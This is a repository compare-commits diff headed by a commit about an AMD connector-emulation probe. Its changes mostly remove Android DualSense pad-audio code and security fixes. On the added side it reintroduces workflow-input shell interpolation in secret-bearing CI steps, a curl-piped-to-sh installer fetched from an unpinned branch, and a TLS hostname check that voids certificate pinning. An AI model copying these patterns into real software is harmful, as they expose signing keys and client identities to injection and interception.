Compare commits

..
Author SHA1 Message Date
enricobuehler 75d07a7e5d feat(tools/display-disturb): adl-emul — AMD connector-emulation probe (software HPD dummy)
ci / web (pull_request) Successful in 1m4s
ci / docs-site (pull_request) Successful in 1m14s
ci / rust-arm64 (pull_request) Successful in 3m28s
ci / rust (pull_request) Failing after 8m55s
The standby-sink stall program's §3 dead-end list marked ADL EmulationMode
'likely Pro-gated' on field hearsay, with 'probe once, log rc' as the owed
falsification — never run. Three RX 9070 XT field cases later (ASUS
VG32VQ1B/DP, Odyssey G60SD/DP, LG UltraGear 32GS95UE/HDMI), this is that
probe, shippable to reporters: read-only caps/board-layout/connection-state
walk by default, --lock pins the live EDID + ADL_EMUL_MODE_ALWAYS on
occupied connectors (the software HPD-holding dummy), --unlock restores.
Every call prints the bench's epoch_ms correlation line with the decoded
ADL rc — ADL_ERR_NOT_SUPPORTED(-8) vs ADL_OK on consumer Adrenalin is the
Pro-gating answer, and a --lock run during a stream with the sink asleep
is the direct A/B for the metronomic stall class.

atiadlxx.dll is bound dynamically (absent = clean exit 2), structs mirror
adl_structures.h verbatim, and the probe touches only connectors the
board-layout walk enumerated. Gates: check/clippy -D warnings (msvc
cross-target) + fmt clean; native stub unaffected.
2026-08-04 23:30:51 +02:00
131 changed files with 1057 additions and 11098 deletions
+2 -19
View File
@@ -41,23 +41,9 @@ jobs:
env:
REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
UPDATE_MANIFEST_KEY: ${{ secrets.UPDATE_MANIFEST_KEY }}
# Through the ENVIRONMENT, never interpolated into the script body. A `${{ }}` expansion
# is a raw textual substitution performed BEFORE the shell sees the line, so a
# workflow_dispatch input containing shell syntax executes as this step — and this is the
# step holding UPDATE_MANIFEST_KEY, the Ed25519 key every host pins to decide whether an
# update is real (2026-08-05 review H-6). As `$INPUT_TAG` it is only ever data.
INPUT_TAG: ${{ inputs.tag }}
run: |
set -euo pipefail
TAG="$INPUT_TAG"
# Shape-check before the value reaches a URL or a filename: tags are `vX.Y.Z[-suffix]`.
case "$TAG" in
v[0-9]*) ;;
*) echo "refusing to publish for a tag that is not vX.Y.Z: $TAG" >&2; exit 1 ;;
esac
case "$TAG" in
*[!A-Za-z0-9.+_-]*) echo "tag has characters no release tag has: $TAG" >&2; exit 1 ;;
esac
TAG="${{ inputs.tag }}"
case "$TAG" in
*-*) echo "pre-release tag $TAG — not publishing to the stable update feed"; exit 0 ;;
esac
@@ -81,7 +67,4 @@ jobs:
GITEA_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
DISCORD_RELEASE_WEBHOOK: ${{ secrets.DISCORD_RELEASE_WEBHOOK }}
ALLOW_PRERELEASE: ${{ inputs.allow_prerelease }}
# Same reasoning as the publish step above: the input is data in the environment, never
# text spliced into the command line.
INPUT_TAG: ${{ inputs.tag }}
run: bash scripts/ci/discord-announce.sh "$INPUT_TAG"
run: bash scripts/ci/discord-announce.sh "${{ inputs.tag }}"
+1 -6
View File
@@ -29,9 +29,4 @@ jobs:
steps:
- uses: actions/checkout@v4
- name: Tier-3 GPU stream benchmark
# Through the environment, not interpolated into the command line: a `${{ }}` expansion is
# substituted before the shell parses the line, so an input carrying shell syntax would run
# as this step (2026-08-05 review H-6).
env:
BENCH_MODE: ${{ inputs.mode || '1920x1080x120' }}
run: bash scripts/bench/gpu-stream.sh "$BENCH_MODE" 12
run: bash scripts/bench/gpu-stream.sh "${{ inputs.mode || '1920x1080x120' }}" 12
-18
View File
@@ -20,24 +20,6 @@
# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images only —
# the LAN registry is unauthenticated inside the LAN).
#
# ⚠ OPEN FINDING — security-review-2026-08-05 H-6. That parenthetical is the whole problem.
# Every secret-bearing job in this repo runs INSIDE an image pulled from this registry by a
# MUTABLE tag (`:latest`), and the registry accepts pushes from any LAN peer. Attacker position #1
# of the project's own threat model — an unauthenticated LAN peer — therefore does not need to
# break any signing logic: they push one tag, and the next android.yml run executes their code in
# the same job that does `echo "$RELEASE_KEYSTORE_BASE64" | base64 -d > release.jks`. Same shape
# for rpm.yml (RPM_GPG_PRIVATE_KEY), android-promote.yml (SERVICE_ACCOUNT_JSON), and every other
# consumer listed by `grep -l 192.168.1.58:5010 .gitea/workflows/`.
#
# The fix is two halves and only one of them lives in this repo:
# 1. INFRA (unom/infra, runners/ci-core/): put auth in front of the registry, or move the
# builder images to git.unom.io where pushes are already authenticated.
# 2. HERE: once pushes are authenticated, pin consumers by `@sha256:` digest rather than
# `:latest`, so a compromised push cannot retroactively change what a green run built.
# Pinning by tag — including the content-keyed `$KEY` tags below — is NOT sufficient while
# the registry is open, because a tag can simply be overwritten.
# Neither half is done. The content-keying below bounds rebuild churn; it is not a trust boundary.
#
# Bootstrap note: consuming workflows pull <LAN>/punktfunk-rust-ci:latest, so the LAN
# registry must hold a seeded :latest once (done 2026-07-29 from the last Gitea-registry
# images); after that, this workflow keeps :latest current whenever ci/ changes.
+2 -10
View File
@@ -38,18 +38,10 @@ jobs:
with:
fetch-depth: 0
# Pinned syft (keep in sync with the version validated against this repo; bump deliberately).
#
# The BINARY version was pinned; the INSTALLER was not — it was fetched from `main` and piped
# into a shell, so whatever that branch happened to say at job time ran here, with the job's
# environment (2026-08-05 review H-6). Pinning the script to the same tag as the binary makes
# the whole step reproducible: bump the tag in both places together.
- name: Install syft
env:
SYFT_VERSION: v1.49.0
run: |
set -euo pipefail
curl -sSfL "https://raw.githubusercontent.com/anchore/syft/${SYFT_VERSION}/install.sh" \
| sh -s -- -b /usr/local/bin "$SYFT_VERSION"
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh \
| sh -s -- -b /usr/local/bin v1.49.0
- name: Generate SBOM
run: |
git config --global --add safe.directory "$PWD"
Generated
-19
View File
@@ -2893,7 +2893,6 @@ dependencies = [
"ureq",
"wasapi",
"windows 0.62.2 (git+https://github.com/microsoft/windows-rs?rev=acb5a1a7441033d9312b16842af02eb0c2b403dc)",
"winreg",
]
[[package]]
@@ -3347,8 +3346,6 @@ dependencies = [
"opus",
"punktfunk-core",
"tracing",
"uac-host",
"usbfs-iso",
]
[[package]]
@@ -4988,14 +4985,6 @@ version = "1.20.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20"
[[package]]
name = "uac-host"
version = "0.1.0"
source = "git+https://github.com/unom-io/usbfs-iso?rev=f3de1fd62cec271d07f45664dc464f23e423e721#f3de1fd62cec271d07f45664dc464f23e423e721"
dependencies = [
"usbfs-iso",
]
[[package]]
name = "uds_windows"
version = "1.2.1"
@@ -5075,14 +5064,6 @@ dependencies = [
"serde",
]
[[package]]
name = "usbfs-iso"
version = "0.1.0"
source = "git+https://github.com/unom-io/usbfs-iso?rev=f3de1fd62cec271d07f45664dc464f23e423e721#f3de1fd62cec271d07f45664dc464f23e423e721"
dependencies = [
"libc",
]
[[package]]
name = "usbip-sim"
version = "0.8.0"
@@ -410,68 +410,17 @@ private fun DsRow(usbDev: android.hardware.usb.UsbDevice) {
Text("Grant USB access")
}
}
else -> {
Text(
if (model == DsDevice.Model.DUALSHOCK4) {
"Ready — captured at stream start: rumble, lightbar and gyro are " +
"driven directly."
} else {
"Ready — captured at stream start: rumble, adaptive triggers, lightbar " +
"and gyro are driven directly."
},
style = MaterialTheme.typography.bodySmall,
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
// Pad-audio self test. Deliberately reachable WITHOUT a stream: it exists to
// answer "can this phone drive this pad's audio endpoint at all", and gating
// that behind a live session would make it depend on the very thing one wants
// to rule out when a session misbehaves. DualSense only — the DS4 has no
// 4-channel haptics device.
if (model != DsDevice.Model.DUALSHOCK4) {
var testing by remember { mutableStateOf(false) }
var result by remember { mutableStateOf<String?>(null) }
result?.let {
Text(
it,
style = MaterialTheme.typography.bodySmall,
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
}
OutlinedButton(
enabled = !testing,
onClick = {
testing = true
result = null
Thread({
// Its OWN connection: the renderer's descriptor must never be
// shared with another transfer engine, and that applies to
// this test as much as to the real path.
val conn = runCatching { usbManager.openDevice(usbDev) }.getOrNull()
val fd = conn?.fileDescriptor ?: -1
val r = if (fd >= 0) {
io.unom.punktfunk.kit.NativeBridge.nativePadAudioSelfTest(fd, 3, 60)
} else {
-1
}
conn?.close()
val msg = when {
r > 0 -> "Haptics test passed — $r frames to the pad."
r == -1 -> "Could not open the pad's audio interface. " +
"Some kernels refuse it; the pad still works normally."
r == -2 -> "The audio stream stopped part-way."
else -> "The stream opened but no audio reached the pad."
}
android.os.Handler(android.os.Looper.getMainLooper()).post {
result = msg
testing = false
}
}, "pf-pad-selftest-ui").start()
},
) {
Text(if (testing) "Testing…" else "Test haptics")
}
}
}
else -> Text(
if (model == DsDevice.Model.DUALSHOCK4) {
"Ready — captured at stream start: rumble, lightbar and gyro are " +
"driven directly."
} else {
"Ready — captured at stream start: rumble, adaptive triggers, lightbar " +
"and gyro are driven directly."
},
style = MaterialTheme.typography.bodySmall,
color = MaterialTheme.colorScheme.onSurfaceVariant,
)
}
}
}
@@ -84,9 +84,6 @@ suspend fun connectToHost(
// The host's approval-list / trust-store label for this device — the same
// Build.MODEL convention the pairing dialogs use for nativePair.
Build.MODEL ?: "Android",
// Tier-A pad audio: ask for the 0xD1 plane only when a setting would render it, so a
// user with it off does not make the host provision endpoints it will never feed.
settings.padHaptics || settings.padSpeaker,
)
}
}
@@ -170,26 +170,6 @@ data class Settings(
*/
val dsCapture: Boolean = true,
/**
* Render the host's DualSense **voice-coil haptics** on a captured USB pad (tier A).
*
* The pad's own 4-channel audio device carries them, driven directly over usbfs — Android's
* audio framework denylists that device by VID/PID, so there is no supported route to it. The
* two kinds are arbitrated rather than mixed, and on evidence: wire rumble is suppressed only
* while haptics frames are actually arriving, so a title that drives classic rumble and sends
* no haptics audio keeps rumbling. Off, or on an uncaptured/Bluetooth pad, the pad stays on
* ordinary rumble (tier C), which on this client already drives the same actuators.
*/
val padHaptics: Boolean = true,
/**
* Render the pad's **built-in speaker** on a captured USB pad. Independent of [padHaptics] —
* the host sends the two as separate streams and either can play alone. Off by default: the
* speaker is a small, easily-startling loudspeaker in the user's hands, and unlike haptics it
* duplicates audio they are already hearing.
*/
val padSpeaker: Boolean = false,
/**
* How a physical mouse drives the host — the cross-client mouse model (see [MouseMode]).
* [MouseMode.DESKTOP] (default here) points absolutely; [MouseMode.CAPTURE] locks the pointer
@@ -291,8 +271,6 @@ class SettingsStore(context: Context) {
rumbleOnPhone = prefs.getBoolean(K_RUMBLE_ON_PHONE, false),
sc2Capture = prefs.getBoolean(K_SC2_CAPTURE, true),
dsCapture = prefs.getBoolean(K_DS_CAPTURE, true),
padHaptics = prefs.getBoolean(K_PAD_HAPTICS, true),
padSpeaker = prefs.getBoolean(K_PAD_SPEAKER, false),
mouseMode = prefs.getString(K_MOUSE_MODE, null)
?.let { name -> MouseMode.entries.firstOrNull { it.storedName == name } }
// Migration: the pre-enum Boolean "pointer_capture" (true = lock the pointer). Its
@@ -330,8 +308,6 @@ class SettingsStore(context: Context) {
.putBoolean(K_RUMBLE_ON_PHONE, s.rumbleOnPhone)
.putBoolean(K_SC2_CAPTURE, s.sc2Capture)
.putBoolean(K_DS_CAPTURE, s.dsCapture)
.putBoolean(K_PAD_HAPTICS, s.padHaptics)
.putBoolean(K_PAD_SPEAKER, s.padSpeaker)
.putString(K_MOUSE_MODE, s.mouseMode.storedName)
.putBoolean(K_INVERT_SCROLL, s.invertScroll)
.apply()
@@ -379,8 +355,6 @@ class SettingsStore(context: Context) {
const val K_RUMBLE_ON_PHONE = "rumble_on_phone"
const val K_SC2_CAPTURE = "sc2_capture"
const val K_DS_CAPTURE = "ds_capture"
const val K_PAD_HAPTICS = "pad_haptics"
const val K_PAD_SPEAKER = "pad_speaker"
const val K_MOUSE_MODE = "mouse_mode"
/** Legacy Boolean the [K_MOUSE_MODE] enum replaced — read once for migration, never written. */
@@ -896,22 +896,6 @@ private fun ControllerSettings(s: Settings, update: (Settings) -> Unit, onOpenCo
enabled = s.gamepadForwarding,
onCheckedChange = { on -> update(s.copy(dsCapture = on)) },
)
// Both only ever apply to a captured pad, so they follow that row and gate on it.
ToggleRow(
title = "Controller haptics",
subtitle = "Play the host's fine-grained DualSense haptics on the pad itself — " +
"the pad keeps ordinary rumble for games that don't send them",
checked = s.padHaptics,
enabled = s.gamepadForwarding && s.dsCapture,
onCheckedChange = { on -> update(s.copy(padHaptics = on)) },
)
ToggleRow(
title = "Controller speaker",
subtitle = "Play audio the game sends to the controller's own speaker",
checked = s.padSpeaker,
enabled = s.gamepadForwarding && s.dsCapture,
onCheckedChange = { on -> update(s.copy(padSpeaker = on)) },
)
}
}
}
@@ -507,28 +507,6 @@ fun StreamScreen(session: ActiveSession, onDisconnect: () -> Unit) {
var dsUsbReceiver: BroadcastReceiver? = null
if (ds != null) {
feedback.sink = ds
// Tier-A pad audio: render the host's 0xD1 streams on the pad's own 4-channel USB
// audio device. Bound here rather than inside DsCapture because the session handle
// lives at this layer; DsCapture decides WHEN (it knows the wire index and the link
// lifetime), this decides WHETHER.
if (initialSettings.padHaptics || initialSettings.padSpeaker) {
ds.padAudio = object : DsCapture.PadAudioHook {
override fun start(pad: Int, fd: Int) {
val ok = NativeBridge.nativeStartPadAudio(
handle,
pad,
fd,
initialSettings.padHaptics,
initialSettings.padSpeaker,
)
Log.i("punktfunk", "pad audio on pad $pad: ${if (ok) "started" else "unavailable"}")
}
// Returns only once the render thread is joined — DsCapture calls this before
// closing the connection whose descriptor that thread borrows.
override fun stop(pad: Int) = NativeBridge.nativeStopPadAudio(handle, pad)
}
}
val usbManager = context.getSystemService(Context.USB_SERVICE) as UsbManager
val usbDev = ds.findUsbDevice()
when {
@@ -23,9 +23,8 @@ import android.view.InputDevice
* Input: parse ([DsDevice.parseState]) → typed mirror on an [GamepadRouter.ExternalPad] (buttons
* diffed, axes on-change — the exit chord participates like any pad) + the rich plane (touch
* normalized to the wire's 0..65535 screen space on-change; motion forwarded per report in raw
* device units, the wire's contract). The wire slot is claimed when the capture engages, with the
* first parsed report as the fallback for a claim that found no free index, and freed on
* unplug/[stop], so indices never leak.
* device units, the wire's contract). The wire slot is claimed lazily on the FIRST parsed report
* and freed on unplug/[stop], so indices never leak.
*
* Feedback: implements [GamepadFeedback.PadFeedbackSink] — rumble / trigger / lightbar / player
* LED events addressed to this pad's wire index become USB output reports on the physical pad
@@ -79,33 +78,6 @@ class DsCapture(
@Volatile
var onActiveChanged: ((active: Boolean) -> Unit)? = null
/**
* Tier-A pad audio, bound by the app layer (which owns the session handle).
*
* [start] is called once the router has assigned this pad a wire index, which the host uses to
* address the `0xD1` stream. [stop] is called **before** the USB link closes — on [stop] and on
* unplug alike — and must not return until nothing is still writing to the descriptor.
*/
interface PadAudioHook {
fun start(pad: Int, fd: Int)
fun stop(pad: Int)
}
@Volatile
var padAudio: PadAudioHook? = null
/** True once [PadAudioHook.start] has run for the current capture, so it fires exactly once. */
@Volatile private var padAudioStarted = false
/**
* The renderer's OWN connection to the pad.
*
* It must not share [usb]'s descriptor: two transfer engines on one usbfs descriptor reap each
* other's completions (see [HidUsbLink.openAuxConnection]), which strands both the HID reader
* and the audio ring. Closed only after the hook's stop has returned.
*/
@Volatile private var padAudioConn: android.hardware.usb.UsbDeviceConnection? = null
val isActive: Boolean get() = model != null
/** First attached Sony USB pad, for the permission flow. Needs no permission to enumerate. */
@@ -133,17 +105,12 @@ class DsCapture(
// (the same init hid-playstation/SDL send on open).
if (m != DsDevice.Model.DUALSHOCK4) usb.writeRaw(0, DsDevice.ds5InitReport(m))
Log.i(TAG, "Sony pad captured over USB: PID=0x%04x model=%s".format(dev.productId, m))
ensureSlot(m)
onActiveChanged?.invoke(true)
return true
}
/** Stop the link and free the wire slot (host tears the virtual pad down). Idempotent. */
fun stop() {
// Before anything touches the link: the pad-audio renderer borrows this connection's
// descriptor, and `usb.stop()` closes it. The hook does not return until its thread is
// joined, so ordering this first is what makes the borrow sound.
stopPadAudio()
val m = model
if (m != null) {
// The interfaces are about to release with the kernel driver still detached — a
@@ -169,112 +136,16 @@ class DsCapture(
private fun onReport(report: ByteArray, len: Int) {
val m = model ?: return
if (!DsDevice.parseState(m, report, len, state)) return
// Normally claimed already, at capture time; this is the retry for a capture that engaged
// while every wire index was taken.
val p = pad ?: ensureSlot(m) ?: return // all 16 taken — drop until one frees
val p = pad ?: router.openExternal(m.pref)?.also {
pad = it
Log.i(TAG, "captured $m → wire pad ${it.index}")
} ?: return // all 16 wire indices taken — drop until one frees
mirrorTyped(p)
mirrorRich(p, m)
}
/**
* Claim this capture's wire slot and start pad audio on it. Idempotent; null when all 16
* indices are taken.
*
* Claimed when the capture engages rather than on the first report, because a pad that reports
* nothing is still a pad: with the lazy claim, a captured-but-silent pad left the host with no
* arrival, hence no virtual pad, no pad-audio capability and so no `0xD1` — a renderer sitting
* at zero frames, indistinguishable from a broken pipeline (it took a physical replug to
* clear). Callable from the main thread (capture start) and the link thread (the fallback).
*/
@Synchronized
private fun ensureSlot(m: DsDevice.Model): GamepadRouter.ExternalPad? {
pad?.let { return it }
val p = router.openExternal(m.pref) ?: return null
pad = p
Log.i(TAG, "captured $m → wire pad ${p.index}")
// The wire index exists from here on, and the host addresses pad audio by it.
startPadAudio(p.index)
return p
}
/** Hand the renderer its own descriptor. Caller holds the monitor; fires once per capture. */
private fun startPadAudio(index: Int) {
val hook = padAudio ?: return
if (padAudioStarted) return
// A dedicated connection, NOT usb.fileDescriptor — see padAudioConn.
val conn = usb.openAuxConnection()
val fd = conn?.fileDescriptor ?: -1
if (fd < 0) {
conn?.close()
Log.w(TAG, "pad audio: could not open a second USB connection")
return
}
padAudioConn = conn
padAudioStarted = true
// Real-world self test, opt-in: `adb shell setprop debug.punktfunk.pad_audio_selftest 3`
// drives the voice coils for N seconds through the actual client path before the renderer
// takes over — the one check that proves the descriptor, the interface claim and the write
// path all work on THIS device, without needing a host to be streaming. Same convention as
// debug.punktfunk.force_parts.
val secs = runCatching {
Class.forName("android.os.SystemProperties")
.getMethod("get", String::class.java, String::class.java)
.invoke(null, "debug.punktfunk.pad_audio_selftest", "0") as String
}.getOrNull()?.toIntOrNull() ?: 0
if (secs > 0) {
// Diagnostic mode: the self test OWNS this descriptor for the capture, and the renderer
// must not also drive it — two engines on one usbfs descriptor reap each other's
// completions, which is precisely the fault this test exists to expose.
Thread({
val r = NativeBridge.nativePadAudioSelfTest(fd, secs, 60)
Log.i(TAG, "pad audio self-test → ${if (r > 0) "PASS ($r frames)" else "FAIL ($r)"}")
}, "pf-pad-selftest").start()
} else {
// B6: hand the coils back before the first haptics frame. Any rumble earlier in this
// session asserted HAPTICS_SELECT, which firmware-mutes them, and nothing else ever
// clears it — so without this the stream renders into a muted actuator and looks for
// all the world like the host is sending nothing.
restoreAudioHaptics()
hook.start(index, fd)
}
}
/**
* B6: clear the rumble/haptics-select bits so the pad's voice coils answer the audio-haptics
* path again. EP0-direct, like the other out-of-band writes here: this has to land even when
* the interrupt-OUT queue is busy or draining, and it is idempotent.
*/
private fun restoreAudioHaptics() {
val m = model ?: return
if (m == DsDevice.Model.DUALSHOCK4) return // no voice coils, no audio-haptics path
if (!usb.writeControl(DsDevice.ds5AudioHapticsReport(m))) {
Log.w(TAG, "pad audio: could not hand the coils back to audio haptics")
}
}
/**
* Stop the renderer, then close the connection whose descriptor it borrows — in that order.
*
* Runs on [stop] and on unplug alike. Skipping it on unplug left the render thread writing to a
* descriptor whose device was gone, leaked the connection, and — because the started flag stayed
* set and the native tier-A registry stayed armed for that index — cost the pad both its pad
* audio and its wire rumble on the way back in.
*/
@Synchronized
private fun stopPadAudio() {
if (!padAudioStarted) return
padAudioStarted = false
// The hook's stop joins the render thread, so nothing is using the descriptor once it
// returns — only then is it safe to close the connection that owns it.
pad?.let { padAudio?.stop(it.index) }
padAudioConn?.close()
padAudioConn = null
}
private fun onLinkClosed() {
Log.i(TAG, "Sony USB link closed (unplug)")
// Before releaseSlot(), which forgets the wire index the renderer is addressed by.
stopPadAudio()
disarmBackstop()
val wasActive = model != null
model = null
@@ -367,10 +238,6 @@ class DsCapture(
// write — as this used to — meant a discarded stop left the motors running with
// nothing scheduled to try again; a USB pad holds its last level until told zero.
if (sent) disarmBackstop() else armBackstop(STOP_RETRY_MS)
// B6: the stop report just re-asserted HAPTICS_SELECT on its way past, so if a
// haptics stream is live the coils it drives were muted by the very write that
// silenced the motors. Give them back.
if (sent && padAudioStarted) restoreAudioHaptics()
}
}
@@ -276,21 +276,6 @@ object DsDevice {
* the classic compat-vibration path AND `VIBRATION2` (firmware 2.24's full-range replot;
* older firmware ignores the unknown flag2 bit) the host parser accepts either.
*/
/**
* B6: hand the voice coils back to the audio-haptics path.
*
* Every [ds5RumbleReport] asserts `HAPTICS_SELECT` (flag0 bit1), which is SDL's
* "disable audio haptics" bit the firmware mutes the coils the 0xD1 haptics stream drives.
* Until now NOTHING ever cleared it again, so a single rumble anywhere in a session left tier-A
* haptics silent for the rest of that pad's life, with no error and nothing in a log.
*
* The undo is a report whose flag0 has BOTH bits clear (SDL's own comment: "Leaving emulated
* rumble bits off will restore audio haptics"). No other valid flag is set, so nothing else
* about the pad's state is touched. Mirrors `Ds5Feedback::audio_haptics_packet` on the desktop
* client, which is the same packet one transport over.
*/
fun ds5AudioHapticsReport(model: Model): ByteArray = newDs5(model)
fun ds5RumbleReport(model: Model, low: Int, high: Int): ByteArray = newDs5(model).also {
it[1] = (DS5_FLAG0_COMPAT_VIBRATION or DS5_FLAG0_HAPTICS_SELECT).toByte()
it[39] = DS5_FLAG2_VIBRATION2.toByte()
@@ -98,40 +98,6 @@ class HidUsbLink(
/** First attached matching device, or null. Does not need USB permission to enumerate. */
fun findDevice(): UsbDevice? = usb.deviceList.values.firstOrNull(config.deviceMatch)
/**
* Open a SECOND connection to the same device, for a consumer that needs its own descriptor.
*
* **Not a convenience a correctness requirement.** `UsbDeviceConnection.requestWait()`
* returns *any* completed request on that connection, and the same is true of the usbfs reap
* ioctl underneath it: two independent transfer engines sharing one descriptor steal each
* other's completions. This link's reader owns its connection exclusively (see the note on
* [outQueue]), so anything else driving transfers on this device the isochronous audio
* renderer must open its own.
*
* usbfs allows the same device to be opened many times, and claims are per (descriptor,
* interface), so a claim made on this connection does not conflict with one made on that.
*
* The caller owns the returned connection and must close it.
*/
fun openAuxConnection(): UsbDeviceConnection? {
val dev = device ?: return null
return usb.openDevice(dev)
}
/**
* The open connection's usbfs file descriptor, or -1 when the link is not running.
*
* Handed to native code that drives interfaces this link deliberately does NOT claim the
* pad's isochronous audio endpoint (see `pad_audio` on the native side), which Android's own
* USB API cannot reach because `UsbRequest` rejects anything that is not bulk or interrupt.
* usbfs claims are per interface, so a native claim of the audio interface leaves this link's
* HID claim untouched.
*
* **The borrower must stop using it before [stop] runs**: closing the connection while a
* transfer is in flight pulls the descriptor out from under the kernel.
*/
val fileDescriptor: Int get() = connection?.fileDescriptor ?: -1
/**
* Claim [dev]'s controller interface(s) and start the read loop. The caller has already
* obtained USB permission. Returns false when nothing could be claimed.
@@ -69,10 +69,6 @@ object NativeBridge {
* list and trust store show for it, same convention as [nativePair]'s `name`. `null`/blank
* the host falls back to a fingerprint-derived "device abcd1234" label. */
deviceName: String?,
/** Advertise `CLIENT_CAP_PAD_AUDIO` the SESSION-level negotiation for the 0xD1 per-pad
* DualSense plane. Without it the host never sets `HOST_CAP_PAD_AUDIO` and emits nothing,
* so a captured pad's own render capabilities would have nothing to gate. */
padAudioOk: Boolean,
): Long
/** 64-hex SHA-256 of the cert the host presented on [handle]; valid after a successful connect. */
@@ -336,46 +332,6 @@ object NativeBridge {
*/
external fun nativeSetMicMuted(handle: Long, muted: Boolean)
/**
* Start tier-A DualSense pad audio: render the host's `0xD1` streams on the pad's own
* 4-channel USB audio device.
*
* [fd] is an open [android.hardware.usb.UsbDeviceConnection]'s file descriptor. Native code
* **borrows** it it claims the pad's audio interface through usbfs (which leaves any HID
* claim on the same device alone) and never closes the descriptor. The caller must keep the
* connection open until [nativeStopPadAudio] returns.
*
* This also declares the pad's render capability to the host; without it no `0xD1` is sent.
*
* Returns false when there is nothing to render. A kernel that refuses the interface claim is
* NOT reported here the renderer discovers that on its own thread and the session simply
* carries on without tier A, because some OEM kernels refuse and no app-side fix exists.
*/
external fun nativeStartPadAudio(
handle: Long,
pad: Int,
fd: Int,
haptics: Boolean,
speaker: Boolean,
): Boolean
/**
* Stop tier-A pad audio and join its render thread, and hand the pad back to wire rumble.
*
* Returns only once the thread is joined so the `UsbDeviceConnection` may be closed as soon
* as this returns, and not before.
*/
external fun nativeStopPadAudio(handle: Long, pad: Int)
/**
* Drive the pad with a test tone through the real render path no host, no session.
*
* [fd] must come from a connection **nothing else is driving transfers on**: two engines on
* one usbfs descriptor reap each other's completions. Blocks for roughly [seconds]; run it off
* the main thread. Returns sample frames written, or negative on failure.
*/
external fun nativePadAudioSelfTest(fd: Int, seconds: Int, hz: Int): Int
/**
* Is a mic capture actually RUNNING i.e. did [nativeStartMic] open a stream, and has
* [nativeStopMic] not been called since? Offer the in-stream mute control on THIS rather than
@@ -127,14 +127,8 @@ object LibraryClient {
* An OkHttpClient that presents the paired client cert and pins the host's self-signed cert by
* SHA-256(DER) reused for BOTH the library fetch and the cover-art loads (so a paired client
* reaches the host's own art proxy). The pinning trust manager trusts the host by fingerprint and
* defers to normal public trust for any other origin (an external CDN URL).
*
* The two checks are only sound TOGETHER, and the composition is the point: the trust manager
* cannot fail closed on its own (it has no hostname, so it must let a CDN chain through), so the
* hostname verifier is what makes the pinned host pin-only. Loosen either and a publicly-trusted
* certificate for any name is accepted for the host which is exactly what 2026-08-05 review M-2
* found. The host's own cert is self-signed with no matching SAN, so it can never satisfy the
* default verifier; the pin is its only credential, on purpose.
* defers to normal public trust for any other origin (an external CDN URL); the hostname verifier
* accepts the pinned host (whose self-signed cert has no matching SAN) and defers otherwise.
*/
fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String): OkHttpClient {
val clientCert = CertificateFactory.getInstance("X.509")
@@ -168,26 +162,7 @@ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String)
val defaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier()
val verifier = HostnameVerifier { hostname, session ->
if (hostname == host) {
// The PINNED host fails closed: only the pinned leaf is acceptable for this name.
//
// This used to be a bare `hostname == host`, which composed with the trust manager's
// system-CA fall-through into "any publicly-trusted certificate, for any name, is
// accepted for the pinned host" — the pin was decorative (2026-08-05 review M-2). A
// MITM with any free CA-issued cert intercepted the connection, received the client's
// mTLS IDENTITY certificate, and served attacker-chosen library JSON and art URLs.
// The Rust (`pf-client-core`) and Apple (`ClientTLS`) paths already fail closed here;
// only Android did not.
try {
sha256Hex((session.peerCertificates.firstOrNull() as? X509Certificate)?.encoded ?: return@HostnameVerifier false) == pinned
} catch (_: Exception) {
false
}
} else {
// Any other origin (an external CDN art URL) is ordinary public trust: the system
// trust manager validated the chain, and this checks the name against it.
defaultVerifier.verify(hostname, session)
}
hostname == host || defaultVerifier.verify(hostname, session)
}
return OkHttpClient.Builder()
-8
View File
@@ -64,14 +64,6 @@ libc = "0.2"
# host + Linux client use. audiopus_sys vendors libopus (pure C) and builds it static via cmake —
# the cargo-ndk build sets LIBOPUS_STATIC=1/LIBOPUS_NO_PKG=1 so it links the bundled lib, not the host's.
opus = "0.3"
# Tier-A pad audio (WP9). Android's audio framework denylists the DualSense's output by VID/PID,
# so the pad's isochronous endpoint is driven directly on the fd `UsbDeviceConnection` hands over.
# Our own crates, developed openly because the hole they fill — isochronous USB in Rust — is an
# ecosystem-wide one: https://github.com/unom-io/usbfs-iso
# Pinned by revision rather than floating: this is a transport under a real-time deadline and it
# should move when we choose to. Becomes a plain version dependency once the crates are published.
uac-host = { git = "https://github.com/unom-io/usbfs-iso", rev = "f3de1fd62cec271d07f45664dc464f23e423e721" }
usbfs-iso = { git = "https://github.com/unom-io/usbfs-iso", rev = "f3de1fd62cec271d07f45664dc464f23e423e721" }
[lints]
workspace = true
+20 -155
View File
@@ -28,76 +28,6 @@ use super::{
NO_VIDEO_RETRY, PENDING_SPLIT_CAP,
};
/// How long a flagged AU waits for the host's 0xCF timing before being logged unattributed.
/// Comfortably longer than the round the host takes to report, short enough that the line still
/// lands near the event in the log.
const SPIKE_ATTRIBUTE_WAIT_NS: i64 = 500_000_000;
/// Bound on AUs awaiting attribution — a stream that spikes constantly must not grow this.
const SPIKE_WATCH_CAP: usize = 64;
/// One receipt-latency excursion, held until the host's own timing for the same AU arrives.
///
/// The point of this record is attribution. A window maximum cannot say WHERE a 90 ms frame
/// spent its time — the per-stage maxima in a window are generally different frames — so the
/// stage split has to be captured per AU, for the offending AU.
struct SpikeWatch {
pts_ns: u64,
/// Capture → reassembled, skew-corrected: the host pipeline plus the wire.
hostnet_us: u64,
au_len: usize,
/// Since the previous AU was reassembled — separates "this frame was slow" from "the
/// stream stalled and then burst", which look identical in a latency percentile.
gap_us: u64,
idx: u32,
seen_mono: i64,
}
impl SpikeWatch {
/// `host_us` = the host's own capture→submit time for this AU (0xCF), or `None` when the
/// host never reported it. `net` is the remainder: wire + reassembly.
fn log(&self, host_us: Option<u64>) {
log::warn!(
target: "pf.spike",
"idx={} hostnetMs={:.1} hostMs={} netMs={} gapMs={:.1} bytes={}",
self.idx,
self.hostnet_us as f64 / 1000.0,
host_us.map_or("?".into(), |h| format!("{:.1}", h as f64 / 1000.0)),
host_us.map_or("?".into(), |h| format!(
"{:.1}",
